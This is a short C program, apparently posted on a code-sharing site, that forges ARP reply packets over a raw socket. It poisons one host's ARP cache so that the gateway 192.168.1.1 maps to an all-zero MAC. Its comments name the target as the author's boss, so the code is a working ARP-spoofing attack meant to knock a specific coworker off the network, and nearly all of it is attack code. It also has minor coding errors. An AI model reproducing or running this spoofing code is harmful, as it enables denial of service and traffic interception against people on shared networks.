📄 arpsender.c
字号:
//ARPSender.c//2007.4.20#include <stdio.h>#include <stdlib.h>#include <string.h>#include <netinet/if_ether.h>int Open_Raw_Socket(void);void eth_addr_parse(const char *s, unsigned char *d);int main(int argc, char *argv[]){ int sock, bytes_sent, fromlen, loop; struct sockaddr from; char tmp[ETHER_ADDR_LEN]; sock = Open_Raw_Socket(); fromlen = sizeof(from); //ether_arp :netinet/if_ether.h //ether_header :net/ethernet.h unsigned char *buff = malloc(sizeof(struct ether_header) + sizeof(struct ether_arp)); //42 Byte struct ether_header *eth_header = (struct ether_header*)buff; struct ether_arp *arp = (struct ether_arp*)(buff + sizeof(struct ether_header));
eth_addr_parse("00-e0-4c-73-51-d9", tmp); //以太网目的地址 :boss's mac
memcpy(&(eth_header->ether_dhost), tmp, ETHER_ADDR_LEN);
eth_addr_parse("00-0c-29-83-57-60", tmp); //以太网源地址 :my mac
memcpy(&(eth_header->ether_shost), tmp, ETHER_ADDR_LEN);
eth_header->ether_type = htons(0x0806); //帧类型 :0x0806
arp->ea_hdr.ar_hrd = htons(1); //硬件类型 :ARPHRD_ETHER
arp->ea_hdr.ar_pro = htons(0x0800); //协议类型 :ETHERTYPE_IP
arp->ea_hdr.ar_hln = 0x0006; //硬件地址长度 :6
arp->ea_hdr.ar_pln = 0x0004; //协议地址长度 :4
arp->ea_hdr.ar_op = htons(0x0002); //op
eth_addr_parse("00-00-00-00-00-00", tmp); //发送端以太网地址 :00-00-00-00-00-00
memcpy(&(arp->arp_sha), tmp, ETHER_ADDR_LEN);
inet_aton("192.168.1.1", (struct in_addr*) & (arp->arp_spa)); //发送端IP地址 :192.168.1.1
eth_addr_parse("00-13-8f-d3-87-84", tmp); //目的以太网地址 :00-13-8f-d3-87-84
memcpy(&(arp->arp_tha), tmp, ETHER_ADDR_LEN);
inet_aton("192.168.1.4", (struct in_addr*) & (arp->arp_tpa)); //目的IP地址 :boss's ip printf("ARP send start~!\n"); strcpy(from.sa_data, "eth0"); for(loop = 0; loop < 10; loop++) { bytes_sent = sendto(sock, buff, 42, 0, (struct sockaddr *)&from, fromlen); printf("ARP send: %d Bytes~!\n", bytes_sent); } printf("ARP send over...\n");}int Open_Raw_Socket(){ int sock; if((sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_RARP))) < 0) { perror("The raw socket was not created.\n"); exit -1; }; return sock;}void eth_addr_parse(const char *s,unsigned char *d)
{ sscanf(s, "%x-%x-%x-%x-%x-%x", &d[0], &d[1], &d[2], &d[3], &d[4], &d[5]);}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -